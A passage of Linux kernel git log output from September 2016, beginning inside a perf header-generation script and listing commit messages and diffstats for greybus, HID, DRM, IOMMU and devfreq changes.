"Fixing $m for $arch" echo "/* $m is undefined on $arch, fix it for perf */" >> $target if echo $m | grep '^MADV_' > /dev/null 2>&1 then grep -h '#define[ \t]*'$m include/uapi/asm-generic/mman-common.h | sed 's/[ \t]*\/\*.*$//g' >> $target else echo "#define $m 0" >> $target fi fi done real_target=tools/arch/$arch/include/uapi/asm/mman.h echo '#ifndef '$guard > $real_target echo '#define '$guard >> $real_target cat $target | sed 's|asm-generic|uapi/asm-generic|g' >> $real_target echo '#endif' >> $real_target rm $target echo "$real_target" done exit 0 # Following macros are extracted from: # tools/perf/trace/beauty/mmap.c # # start macro list MADV_DODUMP MADV_DOFORK MADV_DONTDUMP MADV_DONTFORK MADV_DONTNEED MADV_FREE MADV_HUGEPAGE MADV_HWPOISON MADV_MERGEABLE MADV_NOHUGEPAGE MADV_NORMAL MADV_RANDOM MADV_REMOVE MADV_SEQUENTIAL MADV_SOFT_OFFLINE MADV_UNMERGEABLE MADV_WILLNEED MAP_32BIT MAP_ANONYMOUS MAP_DENYWRITE MAP_EXECUTABLE MAP_FILE MAP_FIXED MAP_GROWSDOWN MAP_HUGETLB MAP_LOCKED MAP_NONBLOCK MAP_NORESERVE MAP_POPULATE MAP_PRIVATE MAP_SHARED MAP_STACK MAP_UNINITIALIZED MREMAP_FIXED MREMAP_MAYMOVE PROT_EXEC PROT_GROWSDOWN PROT_GROWSUP PROT_NONE PROT_READ PROT_SEM PROT_WRITE Signed-off-by: Wang Nan Tested-by: Kim Phillips Tested-by: Naveen N. Rao Cc: Ravi Bangoria Cc: Zefan Li Cc: pi3orama@163.com Fixes: 277cf08f3feb ("perf trace beauty mmap: Fix defines for non !x86_64") Link: http://lkml.kernel.org/r/1473850649-83389-3-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/arch/alpha/include/uapi/asm/mman.h | 9 +++++++++ tools/arch/arc/include/uapi/asm/mman.h | 2 ++ tools/arch/arm/include/uapi/asm/mman.h | 2 ++ tools/arch/arm64/include/uapi/asm/mman.h | 2 ++ tools/arch/frv/include/uapi/asm/mman.h | 2 ++ tools/arch/h8300/include/uapi/asm/mman.h | 2 ++ tools/arch/hexagon/include/uapi/asm/mman.h | 2 ++ tools/arch/ia64/include/uapi/asm/mman.h | 2 ++ tools/arch/m32r/include/uapi/asm/mman.h | 2 ++ tools/arch/microblaze/include/uapi/asm/mman.h | 2 ++ tools/arch/mips/include/uapi/asm/mman.h | 7 +++++++ tools/arch/mn10300/include/uapi/asm/mman.h | 2 ++ tools/arch/parisc/include/uapi/asm/mman.h | 9 +++++++++ tools/arch/powerpc/include/uapi/asm/mman.h | 2 ++ tools/arch/s390/include/uapi/asm/mman.h | 2 ++ tools/arch/score/include/uapi/asm/mman.h | 2 ++ tools/arch/sh/include/uapi/asm/mman.h | 2 ++ tools/arch/sparc/include/uapi/asm/mman.h | 2 ++ tools/arch/tile/include/uapi/asm/mman.h | 2 ++ tools/arch/xtensa/include/uapi/asm/mman.h | 9 +++++++++ 20 files changed, 66 insertions(+) commit 06000c03174988b4e8167d03ad0a36c6792686cb Author: Greg Kroah-Hartman Date: Thu Sep 8 15:47:30 2016 +0200 staging: greybus: vibrator: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus Vibrator driver, so remove the checks as needed, we can now rely on all of the correct driver core apis being present. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 18 ------------------ 1 file changed, 18 deletions(-) commit be21106d67db9ad3c66e48c8efdcf1bc08be45a4 Author: Greg Kroah-Hartman Date: Thu Sep 8 15:46:38 2016 +0200 staging: greybus: hid: remove KERNEL_VERSION checks No need to support older kernel versions in the Greybus HID driver, so remove the checks as needed, we can now rely on all of the "new" apis being present. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 23 ----------------------- 1 file changed, 23 deletions(-) commit 887520884b9925312b78d23f323d9cf1f7e603af Author: Greg Kroah-Hartman Date: Thu Sep 8 11:51:33 2016 +0200 staging: greybus: kernel_ver.h: remove lots of stuff Now that we do not care about the kernel version we are building against, we can strip out lots of backward compatibilty that was added to kernel_ver.h in order to write semi-portable driver code. To start with, remove the functions and #defines that are now in the kernel tree, no need to have duplicate copies of them all. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 284 ----------------------------------- 1 file changed, 284 deletions(-) commit d4f56b47a8fac90b15adfae80a42a2735d6b3213 Author: Greg Kroah-Hartman Date: Mon Sep 19 15:46:40 2016 +0200 staging: greybus: Add drivers/staging/greybus to the build This adds a proper Kconfig file for drivers/staging/greybus and fixes up the Makefile to work correctly within the kernel build system (modules depend on the .config options, etc.) Signed-off-by: Greg Kroah-Hartman drivers/staging/Kconfig | 2 + drivers/staging/Makefile | 1 + drivers/staging/greybus/Kconfig | 219 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/Makefile | 193 +++++++++++++--------------------- 4 files changed, 293 insertions(+), 122 deletions(-) commit 3da30bfc0b0a572a4f977a586edf34cf3dd503c3 Author: Marian Krivoš Date: Mon Sep 19 15:52:06 2016 +0200 HID: support for keyboard - Corsair STRAFE Add quirk for Corsair STRAFE keyboard, similarly to what we've been doing for other CORSAIR devices already, in order to avoid long delays during boot. [jkosina@suse.cz: reword changelog a little bit] Signed-off-by: Marian Krivos Signed-off-by: Jiri Kosina drivers/hid/hid-ids.h | 1 + drivers/hid/usbhid/hid-quirks.c | 1 + 2 files changed, 2 insertions(+) commit f752e90e9c00da2a1994e2e1b1a04505b46a6a4c Author: Wang Nan Date: Wed Sep 14 10:57:28 2016 +0000 perf trace beauty mmap: Add missing MADV_FREE tools/perf/trace/beauty/mmap.c forgets to check MADV_FREE. This patch fixes it. Signed-off-by: Wang Nan Cc: Naveen N. Rao Cc: Zefan Li Cc: pi3orama@163.com Link: http://lkml.kernel.org/r/1473850649-83389-2-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/trace/beauty/mmap.c | 1 + 1 file changed, 1 insertion(+) commit 8ec2ef2b66ea2fd00acc28aca8edaad441dbb424 Author: Stephen Rothwell Date: Mon Sep 19 15:50:16 2016 +1000 blk_mq: linux/blk-mq.h does not include all the headers it depends on and building block/blk-mq-pci.o should depend on CONFIG_BLOCK Fixes: 973c4e372c8f ("blk-mq: provide a default queue mapping for PCI device") Signed-off-by: Stephen Rothwell Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe block/Kconfig | 5 +++++ block/Makefile | 2 +- block/blk-mq-pci.c | 2 ++ 3 files changed, 8 insertions(+), 1 deletion(-) commit 60658e0dc1df058607990278fdf9d831e0c2c71a Author: Colin Ian King Date: Mon Sep 19 14:34:08 2016 +0100 sbitmap: initialize weight to zero Variable weight is not being initialized to zero before it is used to compute the weight sum. Ensure it is initialized to zero. Found with static analysis with cppcheck: [lib/sbitmap.c:177]: (error) Uninitialized variable: weight Signed-off-by: Colin Ian King Signed-off-by: Jens Axboe lib/sbitmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c3db901c54466a9c135d1e6e95fec452e8a42666 Author: Baoquan He Date: Thu Sep 15 16:50:52 2016 +0800 iommu/amd: Free domain id when free a domain of struct dma_ops_domain The current code missed freeing domain id when free a domain of struct dma_ops_domain. Signed-off-by: Baoquan He Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions') Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 3 +++ 1 file changed, 3 insertions(+) commit 5c87f62dd1ea9dab8101a020fa2c6ab47c37797e Author: Baoquan He Date: Thu Sep 15 16:50:51 2016 +0800 iommu/amd: Use standard bitmap operation to set bitmap It will be more readable and safer than the old setting. Signed-off-by: Baoquan He Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu_init.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 134414fffc7fdad81e228d232f8ae12a0456127a Author: Baoquan He Date: Thu Sep 15 16:50:50 2016 +0800 iommu/amd: Clean up the cmpxchg64 invocation Change it as it's designed for and keep it consistent with other places. Signed-off-by: Baoquan He Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit cdc3d09fe2a9acd3f79049a70f89a4a8ef07d812 Author: Daniel Vetter Date: Wed Aug 31 18:09:06 2016 +0200 drm: Move all decl for drm_edid.c to drm_edid.h Some were still left in drm_crtc.h. Also include drm_edid.h in the rst files. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160831160913.12991-4-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms-helpers.rst | 3 +++ include/drm/drm_crtc.h | 30 +----------------------------- include/drm/drm_edid.h | 30 ++++++++++++++++++++++++++++++ 3 files changed, 34 insertions(+), 29 deletions(-) commit 199e4e967af476bdcab96c76237e6a1f9244d6ca Author: Daniel Vetter Date: Wed Aug 31 18:09:05 2016 +0200 drm: Extract drm_bridge.h We don't want to burry the bridge structures kerneldoc in drm_crtc.h. Cc: Archit Taneja Reviewed-by: Archit Taneja Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160831160913.12991-3-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms-helpers.rst | 7 ++ drivers/gpu/drm/drm_bridge.c | 5 +- include/drm/drm_bridge.h | 218 ++++++++++++++++++++++++++++++++++ include/drm/drm_connector.h | 4 + include/drm/drm_crtc.h | 187 +---------------------------- include/drm/drm_mode_object.h | 1 + include/drm/drm_modes.h | 4 + 7 files changed, 237 insertions(+), 189 deletions(-) commit afb21ea63d815d05f6081ee3efef6772a16317eb Author: Daniel Vetter Date: Wed Aug 31 18:09:04 2016 +0200 drm: Move a few macros away from drm_crtc.h Now that there's less stuff in there I noticed that I overlooked them. Sprinkle some docs over them while at it. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160831160913.12991-2-daniel.vetter@ffwll.ch include/drm/drm_connector.h | 24 ++++++++++++++++++++++-- include/drm/drm_crtc.h | 32 -------------------------------- include/drm/drm_encoder.h | 22 ++++++++++++++++++++++ include/drm/drm_framebuffer.h | 17 +++++++++++++++++ include/drm/drm_modes.h | 2 ++ include/drm/drm_property.h | 1 + 6 files changed, 64 insertions(+), 34 deletions(-) commit 7ee2eaa3641827a9ecdffa190cde31846024d2e3 Author: Axel Lin Date: Sun Sep 11 12:09:01 2016 +0800 HID: alps: Fix memory leak A kfree(readbuf) call was missed if hid_hw_raw_request() fails, fix it. Also avoid mixing direct return with goto in the error paths. Signed-off-by: Axel Lin Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-alps.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 3202bb7fb021e81dc988735a8b5f42f82aa912f3 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:20 2016 +0300 HID: uclogic: Add support for UC-Logic TWHA60 v3 Add support for the third version of UC-Logic TWHA60, which has three interfaces and responds to initialization. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-uclogic.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 6e0263346321372e5494d0e5d74a700b0829776d Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:19 2016 +0300 HID: uclogic: Override constant descriptors Make uclogic_report_fixup override constant descriptors with generated descriptors, so models reusing product ID, but working with generated descriptor get correct one. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-uclogic.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 18e3dfac16ae66209fdb570a429089be1907caa1 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:18 2016 +0300 HID: uclogic: Support UGTizer GP0610 partially Add partial support for the UGTizer GP0610 tablet (aka iBall PF1064U, aka UGTizer GT1060) to the hid-uclogic.c driver. The pen input is supported fully, but frame buttons and wheel don't work yet. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 3 +++ drivers/hid/hid-uclogic.c | 14 ++++++++++++++ 3 files changed, 18 insertions(+) commit 4b7e7e5eda1d415158c04c77b0b2a1648fa59815 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:17 2016 +0300 HID: uclogic: Add support for several more tablets Add more product IDs to hid-uclogic.c driver to support several more tablet models, including: UC-Logic DrawImage G3 aka Ugee G3 UC-Logic SP1001 aka Ugee SP1001 aka Yiynova UC-Logic SP-1001 Ugee 1000L Ugee M708 Yiynova DP10U aka Yiynova DP10U+ Yiynova MSP19U Yiynova MSP19U+ Yiynova MVP10U aka Yiynova MVP10U IPS Yiynova MVP10UHD+IPS Yiynova MVP22U+ Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 4 ++++ drivers/hid/hid-ids.h | 4 ++++ drivers/hid/hid-uclogic.c | 8 ++++++++ 3 files changed, 16 insertions(+) commit 21003968cdc36e3be2091170fe76bec3f282f155 Author: Benjamin Tissoires Date: Wed Sep 14 21:38:16 2016 +0300 HID: uclogic: Switch to reporting abstract button events Based on a patch from: Nikolai Kondrashov Enable abstract keyboard mode for Huion tablets, which makes them report frame buttons using the pen interface and report ID. Divert these reports to a virtual report ID describing them. This makes the tablet compatible with xf86-input-wacom and libinput, but stops the frame buttons from reporting keyboard events. Signed-off-by: Nikolai Kondrashov Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-uclogic.c | 102 +++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 97 insertions(+), 5 deletions(-) commit 82d2efd2db4465b467b52d37142b1cc87b876506 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:15 2016 +0300 HID: uclogic: Remove allocation failure messages Remove unnecessary allocation failure messages from hid-uclogic.c, following the checkpatch.pl recommendations. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-uclogic.c | 2 -- 1 file changed, 2 deletions(-) commit 515cdc19754d0df37d3813b6cb4c65d5ed1df0f2 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:14 2016 +0300 HID: kye: Fix MousePen i608X v2 report descriptor Add a dedicated, fixed report descriptor for the second version of KYE MousePen i608X graphics tablet. The descriptor fixes pressure and drawing area ranges. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-kye.c | 106 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 105 insertions(+), 1 deletion(-) commit 102750b8c96cb228d806bdd9a9f13c4d93c07fa8 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:13 2016 +0300 HID: kye: Rename MousePen i608X v2 macro Rename the device ID macro for the second version of KYE MousePen i608x graphics tablet to have "V" in its name to signify that "2" is a version. I.e. USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2 -> USB_DEVICE_ID_KYE_MOUSEPEN_I608X_V2 This also makes applying additional fixes from DIGImend easier. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 2 +- drivers/hid/hid-ids.h | 2 +- drivers/hid/hid-kye.c | 6 +++--- drivers/hid/usbhid/hid-quirks.c | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit ce7ef551b9102a0a89fd413e680680bcd62c23a9 Author: Nikolai Kondrashov Date: Wed Sep 14 21:38:12 2016 +0300 HID: Remove broken links to tablet descriptions Remove comments with broken links to tablet descriptions from hid-kye/uclogic/waltop drivers. They pointed to now dead DIGImend project wiki at sf.net. Even though the DIGImend project still hosts descriptions, now at digimend.github.io, it's better to avoid them going stale again, and let anyone interested search the web instead. Signed-off-by: Nikolai Kondrashov Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-kye.c | 15 --------------- drivers/hid/hid-uclogic.c | 27 --------------------------- drivers/hid/hid-waltop.c | 36 ------------------------------------ 3 files changed, 78 deletions(-) commit 1989dada7ce07848196991c9ebf25ff9c5f14d4e Author: Benjamin Tissoires Date: Tue Sep 13 11:52:37 2016 +0200 HID: input: ignore System Control application usages if not System Controls Microsoft is reusing its report descriptor again and again, and part of it looks like this: 0x05, 0x01, // Usage Page (Generic Desktop) 299 0x09, 0x80, // Usage (System Control) 301 0xa1, 0x01, // Collection (Application) 303 0x85, 0x03, // Report ID (3) 305 0x19, 0x00, // Usage Minimum (0) 307 0x29, 0xff, // Usage Maximum (255) 309 0x15, 0x00, // Logical Minimum (0) 311 0x26, 0xff, 0x00, // Logical Maximum (255) 313 0x81, 0x00, // Input (Data,Arr,Abs) 316 0xc0, // End Collection 318 While there is nothing wrong in term of processing, we do however blindly map the full usage range (it's an array) from 0x00 to 0xff, which creates some interesting axis, like ABS_X|Y, and a bunch of ABS_MISC + n. While libinput and other stacks don't care that much (we can detect them), joydev is very happy and attaches itself to the mouse or keyboard. The problem is that joydev now handles the device as a joystick, but given that we have a HID array, it sets all the ABS_* values to 0. And in its world, 0 means -32767 (minimum value), which sends spurious events to games (think Steam). It looks like hid-microsoft tries to tackle the very same problem with its .report_fixup callback. But fixing the report descriptor is an endless task and is quite obfuscated. So take the hammer, and decide that if the application is meant to be System Control, any other usage not in the System Control range should be ignored. Link: https://bugzilla.redhat.com/show_bug.cgi?id=1325354 Link: https://bugzilla.kernel.org/show_bug.cgi?id=28912 Link: https://github.com/ValveSoftware/steam-for-linux/issues/3384 Link: https://bugzilla.redhat.com/show_bug.cgi?id=1325354 Link: https://bugzilla.kernel.org/show_bug.cgi?id=37982 Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-input.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 2cc107dc5b2f247dda9495fa488229cc187057d6 Author: David Herrmann Date: Thu Sep 1 14:48:37 2016 +0200 drm: cleanup drm_core_{init,exit}() Various cleanups to the DRM core initialization and exit handlers: - Register chrdev last: Once register_chrdev() returns, open() will succeed on the given chrdevs. This is usually not an issue, as no chardevs are registered, yet. However, nodes can be created by user-space via mknod(2), even though such major/minor combinations are unknown to the kernel. Avoid calling into drm_stub_open() in those cases. Again, drm_stub_open() would just bail out as the inode is unknown, but it's really non-obvious if you hack on drm_stub_open(). - Unify error-paths into just one label. All the error-path helpers can be called even though the constructors were not called yet, or failed. Hence, just call all cleanups unconditionally. - Call into drm_global_release(). This is a no-op, but provides debugging helpers in case there're GLOBALS left on module unload. This function was unused until now. - Use DRM_ERROR() instead of printk(), and also print the error-code on failure (even if it is static!). - Don't throw away error-codes of register_chrdev()! - Don't hardcode -1 as errno. This is just plain wrong. - Order exit-handlers in the exact reverse order of initialization (except if the order actually matters for syncing-reasons, which is not the case here, though). v2: - Call drm_core_exit() directly from the init-error-handler. Requires to drop __exit annotation, though. Signed-off-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160901124837.680-7-dh.herrmann@gmail.com drivers/gpu/drm/drm_drv.c | 48 ++++++++++++++++++++++------------------------- 1 file changed, 22 insertions(+), 26 deletions(-) commit 82d5e73f6b7955867fc86314430bf923ab9cc485 Author: David Herrmann Date: Thu Sep 1 14:48:36 2016 +0200 drm: drop obsolete drm_core.h The drm_core.h header contains a set of constants meant to be used throughout DRM. However, as it turns out, they're each used just once and don't bring any benefit. They're also grossly mis-named and lack name-spacing. This patch inlines them, or moves them into drm_internal.h as appropriate: - CORE_AUTHOR and CORE_DESC are inlined into corresponding MODULE_*() macros. It's just confusing having to follow 2 pointers when trying to find the definition of these fields. Grep'ping for MODULE_AUTHOR() should reveal the full information, if there's no strong reason not to. - CORE_NAME, CORE_DATE, CORE_MAJOR, CORE_MINOR, and CORE_PATCHLEVEL are inlined into the sysfs 'version' attribute. They're stripped everywhere else (which is just some printk() statements). CORE_NAME just doesn't make *any* sense, as we hard-code it in many places, anyway. The other constants are outdated and just serve binary-compatibility purposes. Hence, inline them in 'version' sysfs attribute (we might even try dropping it..). - DRM_IF_MAJOR and DRM_IF_MINOR are moved into drm_internal.h as they're only used by the global ioctl handlers. Furthermore, versioning interfaces breaks backports and as such is deprecated, anyway. We just keep them for historic reasons. I doubt anyone will ever modify them again. Signed-off-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160901124837.680-6-dh.herrmann@gmail.com drivers/gpu/drm/drm_drv.c | 8 +++----- drivers/gpu/drm/drm_internal.h | 3 +++ drivers/gpu/drm/drm_ioc32.c | 1 - drivers/gpu/drm/drm_ioctl.c | 1 - drivers/gpu/drm/drm_sysfs.c | 8 +------- include/drm/drm_core.h | 34 ---------------------------------- 6 files changed, 7 insertions(+), 48 deletions(-) commit da4a64481b3504a6f4f07c08ff03be8f08d9638d Author: Axel Lin Date: Sun Sep 18 10:41:05 2016 +0800 PM / devfreq: rk3399_dmc: Remove explictly regulator_put call in .remove Current code uses devm_regulator_get() in .probe so a regulator_put() will be automatically called when unload the module. Remove the explictly regulator_put() call and then we can also remove rk3399_dmcfreq_remove(). Signed-off-by: Axel Lin Reviewed-by: Chanwoo Choi Acked-by: MyungJoo Ham Signed-off-by: Rafael J. Wysocki drivers/devfreq/rk3399_dmc.c | 10 ---------- 1 file changed, 10 deletions(-) commit 54dec69bb975e71db83baf82bf4043df545b204c Author: Arnd Bergmann Date: Thu Sep 15 17:44:58 2016 +0200 PM / devfreq: rockchip: add PM_DEVFREQ_EVENT dependency The newly added ARM_RK3399_DMC_DEVFREQ driver requires the DEVFREQ_EVENT_ROCKCHIP_DFI driver and tries to turn that on through a 'select' statement, and that in turn has a dependency on PM_DEVFREQ_EVENT, which may be disabled here: warning: (ARM_RK3399_DMC_DEVFREQ) selects DEVFREQ_EVENT_ROCKCHIP_DFI which has unmet direct dependencies (PM_DEVFREQ && PM_DEVFREQ_EVENT && ARCH_ROCKCHIP) We probably want a 'depends on' here, but other drivers use 'select' too, so for consistency I'm doing the same. Signed-off-by: Arnd Bergmann Fixes: 5a893e31a636 (PM / devfreq: rockchip: add devfreq driver for rk3399 dmc) Acked-by: Chanwoo Choi Acked-by: MyungJoo Ham Signed-off-by: Rafael J. Wysocki drivers/devfreq/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 526dec064223d7e21b1e3c91759bddff1f7d968a Author: Greg Kroah-Hartman Date: Mon Sep 19 12:40:33 2016 +0200 staging: greybus: remove old es1 endpoint description The Toshiba ES1 chip is no longer around, so remove the USB descriptor documentation for it as no one cares anymore. Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/es1_ap_desc.c | 70 ---------------------- drivers/staging/greybus/devices | 11 ---- 2 files changed, 81 deletions(-) commit ecfea541e66e313d743563c517b7072a79c13acc Author: Greg Kroah-Hartman Date: Thu Sep 8 15:01:23 2016 +0200 staging: greybus: remove .gitignore file Only the tools subdirectory needs a .gitignore entry, so move it there and fix it up to only list the needed file. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/.gitignore | 15 --------------- drivers/staging/greybus/tools/.gitignore | 1 + 2 files changed, 1 insertion(+), 15 deletions(-) commit 0be6dfc296624a6cc840d246de656d7ac800b70d Author: Greg Kroah-Hartman Date: Thu Sep 8 11:58:46 2016 +0200 staging: greybus: remove README and LICENSE We don't need yet-another-copy of the GPLv2 in the tree, and the README is now pointless, so remove both of these files. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/LICENSE | 339 ---------------------------------------- drivers/staging/greybus/README | 10 -- 2 files changed, 349 deletions(-) commit bc5aa3a079437159ed4685e8bb062e027d6e54a3 Author: Greg Kroah-Hartman Date: Mon Sep 19 12:35:16 2016 +0200 staging: greybus: Documentation: remove sysfs tree We do not need an example of the sysfs tree in the kernel code itself, so remove these files, as they are now pointless. Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/bundle_id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/state | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/bundle_id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/state | 0 .../Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.ctrl/product_string | 0 .../Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.ctrl/vendor_string | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/interface_id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/module_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/num_interfaces | 1 - .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/bundle_id | 1 - .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy1/gpio/gpiochip490/.gitignore | 1 - .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy1/i2c-4/.gitignore | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/state | 0 .../Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.ctrl/product_string | 0 .../Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.ctrl/vendor_string | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/interface_id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/vendor_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.6/interface_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/module_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/num_interfaces | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/endo_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-svc/intf_eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/bus_id | 1 - .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/bundle_class | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/bundle_id | 1 - .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.1/state | 0 .../Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.ctrl/product_string | 0 .../Documentation/sysfs/greybus2/2-3/2-3.3/2-3.3.ctrl/vendor_string | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus2/2-3/2-3.3/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/interface_id | 1 - .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.3/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/module_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/num_interfaces | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/endo_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-svc/intf_eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/bus_id | 1 - 56 files changed, 18 deletions(-) commit dae09011115133666e47c35673c0564b0a702db7 Author: Greg Kroah-Hartman Date: Thu Sep 8 11:44:34 2016 +0200 greybus: remove local checkpatch.pl copy When the greybus tree was external, it contained a copy of checkpatch.pl to keep everyone "in line". This is no longer needed and can now be removed. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/scripts/checkpatch.pl | 5993 ------------------------- drivers/staging/greybus/scripts/spelling.txt | 1072 ----- 2 files changed, 7065 deletions(-) commit f44dd184634d401f5cf88a6d8b4a60d5ff4f417f Merge: 9395452 7398a66 Author: Greg Kroah-Hartman Date: Mon Sep 19 12:29:33 2016 +0200 Merge greybus driver tree into 4.8-rc6 This pulls the external greybus driver tree into 4.8-rc6 as it should be part of the main kernel 